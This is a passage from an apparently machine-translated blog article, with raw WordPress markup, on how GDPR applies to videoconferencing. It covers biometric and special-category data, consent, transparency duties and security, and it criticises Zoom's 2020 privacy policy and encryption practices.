for example their telephone number or information relating to their working conditions and their hobbies, constitutes “processing of personal data, fully or partially automated” within the meaning of Article 3 (1) of Directive 95/46 / EC of the European Parliament and of the Council, 24 October 1995, relating to the protection of individuals with regard to the processing of personal data and to the free movement of such data. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data of special or sensitive categories.</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>‘The indication that a person has injured his foot and is on partial sick leave constitutes personal data relating to health within the meaning of Article 8 (1) of Directive 95/46 .&nbsp;“</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This judgment was given in application of the Directive, prior to the entry into force of the GDPR but remains applicable.&nbsp;Previously, in particular, health data, listed as ‘<em>sensitive</em>‘ data, are now data of special category&nbsp;<strong>a</strong><a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This point was recalled by a recent decision of the French Administrative Court The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf&amp;usg=ALkJrhigHmOTMs6dOFfLLlZeGBDFzu9hJw\">Conseil d’Etat dated February 27, 2020</a>&nbsp;concerning facial recognition in schools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the CE:&nbsp;<em>(51)&nbsp;</em><em>Personal data which, by its nature, are particularly sensitive from the point of view of fundamental freedoms and rights deserve specific protection, since the context in which they are processed could pose significant risks for these freedoms and rights. This personal data should include personal data which reveals racial or ethnic origin, it being understood that the use of the expression “racial origin” in this Regulation does not imply that the Union adheres to theories tending to establish the existence of distinct human races. The processing of photographs should not systematically be regarded as constituting the processing of particular categories of personal data, since these<strong>fall under the definition of biometric data only when they are processed using a specific technical method allowing the unique identification or authentication of a natural person</strong>. Such personal data should not be processed, unless this is authorized in specific cases provided for in this Regulation, taking into account that the law of a Member State may lay down specific data protection provisions aimed at adapting the application of the rules of this Regulation with a view to complying with a legal obligation or for the performance of a task of public interest or relating to the exercise of the public authority vested in the controller. In addition to the specific requirements applicable to this processing, the general principles and other rules of this Regulation should apply, in particular as regards the conditions for the lawfulness of the processing.Derogations from the general prohibition to process these particular categories of personal data should be explicitly provided for, inter alia when the data subject gives his<strong>express consent or to meet specific needs, in particular when the processing is carried out within the framework of the legitimate activities of certain associations or foundations whose purpose is to allow the exercise of fundamental freedoms.</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In UK :&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://uk.practicallaw.thomsonreuters.com/D-014-7572%3FtransitionType%3DDefault%26contextData%3D(sc.Default)%26firstPage%3Dtrue%26bhcp%3D1&amp;usg=ALkJrhj8itOdEFULQ2VI9TdlwRulT5fUjA\">Murray v Big Picture</a>&nbsp;§80</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is therefore possible to consider that the images processed during a videoconference fall within the definition of biometric data.&nbsp;The possibility of possible facial recognition training is not included.&nbsp;In addition, users who do not reveal their identity using nicknames can be identified by the disclosure of their associated image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consequently, the images or videos identifying the participants according to their racial, ethnic, religious, philosophical, or union membership are to be considered as falling under the category of special data.&nbsp;Similarly, those relating to the state of health or data of minor children fall into the category of special data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cf. the the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf&amp;usg=ALkJrhijXqC2SeKie9frzXI-yDXE14BM1w\">CNIL</a>‘s recommendation&nbsp;in matters of facial recognition and&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf&amp;usg=ALkJrhigHmOTMs6dOFfLLlZeGBDFzu9hJw\">the recent judgment of the Conseil d’Etat of February 27, 2020</a>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The principles of legality Article&nbsp;5</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data to be collected must be processed lawfully and fairly according to the&nbsp;<a href=\"https://gdpr-info.eu/art-5-gdpr/\">Article 5</a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Personal data must be:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<em>processed lawfully, fairly and in a transparent manner in relation to the data subject (</em><strong><em>‘lawfulness, fairness and transparency’</em></strong><em>);(</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A privacy notice must be produced defining the legal basis for processing and offering the transparency obligations defined in article 13, as explained infra.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b)&nbsp;</em>collected for specified, explicit and legitimate purposes and not further processed in a manner that is incompatible with those purposes; further processing for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes shall, in accordance with&nbsp;<a href=\"https://gdpr-info.eu/art-89-gdpr/\">Article 89</a>(1), not be considered to be incompatible with the initial purposes (<strong>‘purpose limitation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any recording of the video conference and its subsequent uses must be notified to the participants and their legal bases justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)&nbsp;</em>adequate, relevant and limited to what is necessary in relation to the purposes for which they are processed (<strong>‘data minimisation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data collected must be reduced to the strict minimum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) accurate and, if necessary, kept up to date;&nbsp;all reasonable measures must be taken to ensure that personal data which are inaccurate, with regard to the purposes for which they are processed, are deleted or rectified without delay (<strong>accuracy</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Saved data will be subject to the obligation of accuracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e)&nbsp;<em>kept in a form which permits identification of data subjects for no longer than is necessary for the purposes for which the personal data are processed; personal data may be stored for longer periods insofar as the personal data will be processed solely for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes in accordance with&nbsp;</em><a href=\"https://gdpr-info.eu/art-89-gdpr/\"><em>Article 89(</em></a><em>1) subject to implementation of the appropriate technical and organisational measures required by this Regulation in order to safeguard the rights and freedoms of the data subject&nbsp;</em>(<strong>‘storage limitation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The shelf life must be defined and communicated to the parties.&nbsp;The registrations, if they exist, cannot exceed the fixed deadline.&nbsp;Archives must develop limited and secure access when they are no longer justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) processed in a manner that ensures appropriate security of the personal data, including protection against unauthorised or unlawful processing and against accidental loss, destruction or damage, using appropriate technical or organisational measures (</em><strong><em>‘integrity and confidentiality’</em></strong><em>)</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The security of video conferences and their subsequent recordings or access is the liability of the organisers, who must ensure that the service provider fulfil their mission in accordance with the obligations of the GDPR.&nbsp;This includes transmission by encryption excluding transfers to third countries that do not represent adequate protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2.&nbsp;<strong>The controller is responsible for the compliance with paragraph 1 and is able to demonstrate that it is respected (responsibility).</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This point is very important because as explained below, the responsibility of the videoconference organiser can be engaged for non-compliance with the regulations or allowing unauthorised access to personal data, capable of causing harm, ‘distress’ or loss of control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Determining the purpose of the processing</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any data processing must meet a legitimate purpose as listed in&nbsp;<a href=\"https://gdpr-info.eu/art-6-gdpr/\">Article 6</a>&nbsp;In the context of videoconferencing, processing may be either considered to be of legitimate interest – with the need to carry out the three part necessity and proportionality test – or a request for prior consent will apply.&nbsp;The processing must be recorded by the controller if necessary in his / her&nbsp;<strong><a href=\"https://gdpr-info.eu/art-30-gdpr/\">Article&nbsp;30</a></strong>&nbsp;record of processing and specified in the privacy notice.&nbsp;It should be remembered that in the case of consent, it can be withdrawn at any time with the risk of invalidating the lawfulness of any recording subject to erasure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>On consent</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<strong>paragraph 11)&nbsp;<a href=\"https://gdpr-info.eu/art-4-gdpr/\">Art.&nbsp;4</a>&nbsp;</strong>&nbsp;defines consent as&nbsp;‘any&nbsp;<strong>freely given</strong>,&nbsp;<strong>specific</strong>,&nbsp;<strong>informed</strong>&nbsp;and&nbsp;<strong>unambiguous</strong>&nbsp;indication of the data subject’s wishes by which he or she, by a statement or by a clear&nbsp;<strong>affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her&nbsp;‘.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition,&nbsp;<a href=\"https://gdpr-info.eu/art-7-gdpr/\">Article 7</a>&nbsp;, relating to the conditions applicable to&nbsp;<a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/lawful-basis-for-processing/consent/\">consent</a>, provides:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>1. In cases where the processing is based on consent, the controller is able to demonstrate that the data subject has given his consent to the processing of personal data concerning him. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td><strong>1.</strong>&nbsp;<em>Where processing is based on consent, the controller shall be able to&nbsp;</em><strong><em>demonstrate</em></strong><em>&nbsp;that the data subject has consented to processing of his or her personal data</em>.&nbsp;<br></td></tr><tr><td><strong>2.</strong>&nbsp;<em>If the data subject’s consent is given in the context of a written declaration which also concerns other matters, the request for consent shall be presented in a manner which is clearly distinguishable from the other matters, in an intelligible and easily accessible form, using clear and plain language. Any part of such a declaration which constitutes an infringement of this Regulation shall not be binding</em>.</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>An explicit and informed consent is required from participants in the video conference when the data is collected from the recording or any subsequent total or partial broadcasts, including screenshots of the meetings.&nbsp;Remembering that, as biometric data capable of identifying individuals, are data of special category&nbsp;<strong>art.&nbsp;9-2 a)</strong>&nbsp;– this concerns participants’ data and any other personal data processed during the video conference&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a><strong>&nbsp;–</strong>&nbsp;consents must be record of processing activities in accordance with&nbsp;<a href=\"https://gdpr-info.eu/art-30-gdpr/\">Article 30</a>.&nbsp;The purpose of processing the data of persons not present must be clearly justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<a href=\"https://gdpr-info.eu/art-42-gdpr/\">Article 42</a>GDPR states : ‘<em>Where processing is based on the data subject’s consent, the controller should be able to demonstrate that the data subject has given consent to the processing operation.&nbsp;In particular in the context of a written declaration on another matter, safeguards should ensure that the data subject is aware of the fact that and the extent to which consent is given.&nbsp;In accordance with Council Directive 93/13/EEC a declaration of consent pre-formulated by the controller should be provided in an intelligible and easily accessible form, using clear and plain language and it should not contain unfair terms.&nbsp;</em><sup><em>4</em></sup><em>For consent to be informed, the data subject should be aware at least of the identity of the controller and the purposes of the processing for which the personal data are intended.&nbsp;</em><sup><em>5</em></sup><em>Consent should not be regarded as freely given if the data subject has no genuine or free choice or is unable to refuse or withdraw consent without detriment.</em>‘</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some participants may have wished to use nicknames for personal reason and may not wish to be exposed to the general public.&nbsp;An alternative must be offered to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation of transparency –&nbsp;</strong><a href=\"https://gdpr-info.eu/art-13-gdpr/\">Articles 13</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As mentioned above, the organiser of the videoconference or the ‘host’ must communicate the means and legal basis for data processing in all transparency, before collecting any data :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, it seems that many video conferencing applications are sorely lacking transparency.&nbsp;The host has multiple technical capacities and prerogatives which are too often unknown to other participants such as recording and their subsequent broadcasts.&nbsp;The&nbsp;<a href=\"https://gdpr-info.eu/art-13-gdpr/\">Article 13</a>&nbsp;requires the following information to data subjects :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>the identity and contact details of the controller and, where applicable, the representative of the controller;</em></li><li><em>the contact details of the data protection officer, where applicable;</em></li><li><em>the purposes of the processing for which the personal data is intended as well as the legal basis for the processing;</em></li><li>where the processing is based on point (f) of&nbsp;<a href=\"https://gdpr-info.eu/art-6-gdpr/\"><strong>art 6</strong></a><strong>(1)</strong>, the legitimate interests pursued by the controller or by a third party;<br></li><li>the recipients or categories of recipients of the personal data, if any;</li><li>where applicable, the fact that the controller intends to transfer personal data to a third country or international organisation and the existence or absence of an adequacy decision by the Commission, or in the case of transfers referred to in&nbsp;<a href=\"https://gdpr-info.eu/art-46-gdpr/\">Articles 46</a>&nbsp;or&nbsp;<a href=\"https://gdpr-info.eu/art-47-gdpr/\">47</a>, or the second subparagraph of&nbsp;<a href=\"https://gdpr-info.eu/art-49-gdpr/\">Article 49(</a>1), reference to the appropriate or suitable safeguards and the means by which to obtain a copy of them or where they have been made available.<br><br></li><li>The rights of participants under&nbsp;<a href=\"https://gdpr-info.eu/art-14-gdpr/\">Article 14</a>&nbsp;,&nbsp;<a href=\"https://gdpr-info.eu/art-15-gdpr/\">Article 15</a>&nbsp;&nbsp;and in particular their right to rectify or withdraw consent, their right to complain to the administrative authority must be reminded.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In addition to the information referred to in paragraph 1, the controller shall provide participants with the following additional information when obtaining personal data, to ensure fair and transparent processing:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>the period during which the personal data will be stored or, if this is not possible, the criteria used to determine this period;<ul><li>the existence of the right to request the controller to access and rectify or erase personal data or limit the processing of the data subject or to object to the processing, as well as the right to data portability;</li><li>when the processing is based on&nbsp;<a href=\"https://gdpr-info.eu/art-6-gdpr/\">Article 6</a></li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The purpose of the processing shall be determined in that legal basis or, as regards the processing referred to in point (e) of paragraph 1, shall be necessary for the performance of a task carried out in the public interest or in the exercise of official authority vested in the controller. That legal basis may contain specific provisions to adapt the application of rules of this Regulation, inter alia: the general conditions governing the lawfulness of processing by the controller; the types of data which are subject to the processing; the data subjects concerned; the entities to, and the purposes for which, the personal data may be disclosed; the purpose limitation; storage periods; and processing operations and processing procedures, including measures to ensure lawful and fair processing such as those for other specific processing situations as provided for in Chapter IX. The Union or the Member&nbsp;State law shall meet an objective of public interest and be proportionate to the legitimate aim pursued.[Recitals(s)&nbsp;:&nbsp;<a href=\"https://awallon.com:15001/d/s/546474527262029836/dvE2poFdUQW0pMb3catm7bYDCpLmhXaT-nrZgdON4lgc_\">41</a>]4.&nbsp;&nbsp;&nbsp;Where the processing for a purpose other than that for which the personal data have been collected is not based on the data subject’s consent or on a Union or Member&nbsp;State law which constitutes a necessary and proportionate measure in a democratic society to safeguard the objectives referred to in Article 23(1), the controller shall, in order to ascertain whether processing for another purpose is compatible with the purpose for which the personal data are initially collected, take into account, inter alia:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(a)</td><td>any link between the purposes for which the personal data have been collected and the purposes of the intended further processing;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(b)</td><td>the context in which the personal data have been collected, in particular regarding the relationship between data subjects and the controller;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(c)</td><td>the nature of the personal data, in particular whether special categories of personal data are processed, pursuant to Article 9, or whether personal data related to criminal convictions and offences are processed, pursuant to Article 10;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(d)</td><td>the possible consequences of the intended further processing for data subjects;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(e)</td><td>the existence of appropriate safeguards, which may include encryption or pseudonymisation.</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:list -->\n<ul><li>paragraph 1, point a), or on&nbsp;&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a>&nbsp;paragraph 2, point a), the existence of the right to withdraw consent at any time, without affecting the lawfulness of processing based on consent before its withdrawal;<ul><li>the right to lodge a complaint with a supervisory authority;</li><li>if the provision of personal data is a legal or contractual requirement, or a requirement necessary for concluding a contract, as well as if the data subject is required to provide the personal data and the possible consequences of the non-provision of these data;</li><li>the existence of automated decision-making, including profiling, referred to in&nbsp;<a href=\"https://gdpr-info.eu/art-15-gdpr/\">Article</a><a href=\"https://gdpr-info.eu/art-22-gdpr/\">22&nbsp;</a>paragraphs 1 and 4, and, at least in these cases, significant information on the logic involved, as well as the meaning and the intended consequences of such processing of the data subject.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>When the controller intends to continue processing personal data for a purpose other than that for which this data was collected, the controller shall provide the data subject, before any further processing, with information on this other purpose and any other relevant information referred to in paragraph 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Paragraphs 1, 2 and 3 do not apply when and to the extent that the data subject already has information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A privacy notice must be provided at the time of data collection, that is to say before guests join the meeting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data retention periods should be notified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The purpose limitation requirement means that it must be clear from the privacy notice who accesses the data and for what specific purpose.&nbsp;Sharing data with Facebook was contrary to the GDPR.&nbsp;Even if the developer Zoom has changed this, users still need to update their application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These data must not be used for purposes other than those intended, such as training facial recognition without the consent of the parties concerned.&nbsp;The host is responsible for respecting these principles and in particular for further processing by Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom’s privacy policy has raised justified fears:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/privacy&amp;usg=ALkJrhiXuIM3FxckpUdM063Nlg05HEGVVw\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom’s privacy policy&nbsp;</a>&nbsp;claims the right to collect and store personal data and share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Until it was modified during the weekend, pre-dated to March 18&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/privacy%3Fzcid%3D1231&amp;usg=ALkJrhjXxUKpAt6WjZSaZK-4ByFbXN8nFQ\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;&nbsp;on Sunday after users reported concerns, and&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/ericsyuan/status/1244682869974290433&amp;usg=ALkJrhhCE2HKENibcfSYKh1Zs_schKLqXA\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>&nbsp;, Eric S. Yuan, chief executive and founder of Zoom, posted a link on Twitter to a company blog item about the policy.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html&amp;usg=ALkJrhi4Od7ZPREXg0oezpaxW1n_iYG3BA\">NYTimes</a></em></li><li><em>In a statement for this article, the company said it took “its users’ privacy, security and trust extremely seriously,” and had been “working around the clock to ensure that hospitals, universities, schools and other businesses across the world can stay connected and operational. ”</em></li><li><em>“We appreciate the New York attorney general’s engagement on these issues and are happy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom&nbsp;<strong>privacy notice</strong>&nbsp;grants access to data even though for people who have not a Zoom account</em></li><li><em>Zoom’s privacy policy gives the company rights to collect personal data of people regardless of whether they have a Zoom account.&nbsp;This data they might collect on non-Zoom customers might include their physical address, debit card information and even what device they are using.</em></li><li><em>They keep the right to collect and share information with unspecified third parties in present and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design or Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom has few protective safeguards, but they are disabled by default.&nbsp;No processing must be carried out without transparency or consent expressed by positive act of the subjects concerned.&nbsp;In this case it is not very clear when a recording is made or enable subsequent uses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The application included an&nbsp;<em><a href=\"https://www.vice.com/en_us/article/qjdnmm/working-from-home-zoom-tells-your-boss-if-youre-not-paying-attention\">attention tracking</a></em>&nbsp;option&nbsp;which enabled the host to draw the attention of participants if they visited other sites or switched to other windows.&nbsp;This overly intrusive option has been disabled.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, a privacy notice should clarify the consent required from participants.&nbsp;It is not activated by default, knowing that biometric, health or data belonging to minors are special categories requiring express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small&nbsp;<strong>red button when recording</strong>&nbsp;– can be easily missed.&nbsp;There is an option of request recording consent at the beginning – what about the ones joining in in the course of the meeting?&nbsp;The consent request is OFF by default.&nbsp;<strong>Privacy by design</strong>&nbsp;: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Security obligation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limit access to data to secure content and paramount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence&nbsp;of&nbsp;end&nbsp;to&nbsp;end&nbsp;encryption&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The encryption of communications or encryption was part of Zoom’s promises but was found to be encryption of the TLS browser type and not UDP as revealed by the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/03/31/zoom-meeting-encryption/&amp;usg=ALkJrhj_guVRLG1cA5OOHr70YGBNDHE1Ig\"><em>Intercept</em></a><em>&nbsp;.</em>&nbsp;Zoom apologized and acknowledged the failure. However, end-to-end encryption is mandatory to ensure data protection, especially as it can be of a special category.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, it turns out that the data would be stored on Amazon S3 in clear text and would not even be encrypted.&nbsp;Consequently, any Zoom employee or developer having access to S3 compartments for development and maintenance activities could intercept them and take them over for such possible processing.&nbsp;There is therefore no real confidentiality on these recordings.&nbsp;This problem is far from negligible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only barrier between private and public registration is the security of the Zoom firewall and the other things they have in place.&nbsp;Once these have been breached, for example by a phishing attack, the S3 buckets are a fair game.&nbsp;A decent encryption system on the stored records would have been essential here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings.&nbsp;Zoom video meetings use a combination of TCP and UDP.&nbsp;TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection. ”</em></li><li><em>On 4/3, Citizen Lab&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/&amp;usg=ALkJrhhj-xFkzL6wWLEyhE9l5tQs4KtiSQ\">reported</a></em></li><li><em>Zoom&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf&amp;usg=ALkJrhjRuNn2NyO5UW6XvkdjGs6nddVezw\">documentation</a>&nbsp;&nbsp;claims that the app uses “AES-256” encryption for meetings where possible.&nbsp;However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video.&nbsp;The use of ECB mode is not recommended because patterns present in the complaintxt are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber’s company, are outside of China.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html&amp;usg=ALkJrhi8dhovhmXzrKVOru6TbZf0uRsHMg\">Reported by the Security expert Schneier in his blog</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/&amp;usg=ALkJrhhXJmIB4Ly6Kngg7C516Jfs9a7tsA\">Does Zoom uses end to end encryption?</a></em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation?&nbsp;Once again, Eu personal data is in between China interception and the US Cloud Act interception.&nbsp;Data sent outside the EU in China without users knowledge.&nbsp;“As&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a&amp;usg=ALkJrhgaDkE_hlcUSP7YJqi06wRCEjhC7g\">Citizen Lab</a>&nbsp;hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings.&nbsp;But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>We’ve even learnt that Zoom would transfer data for encryption in China, which the CEO did not fail to recognise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/&amp;usg=ALkJrhihFJikKTlR7PipcATumdXwiVt5iw\">Zoom’s Encryption Is “Not Suited For Secrets” And Has Surprising Links To China, Researchers Discover</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The outrages go further, April 1 news has fallen, 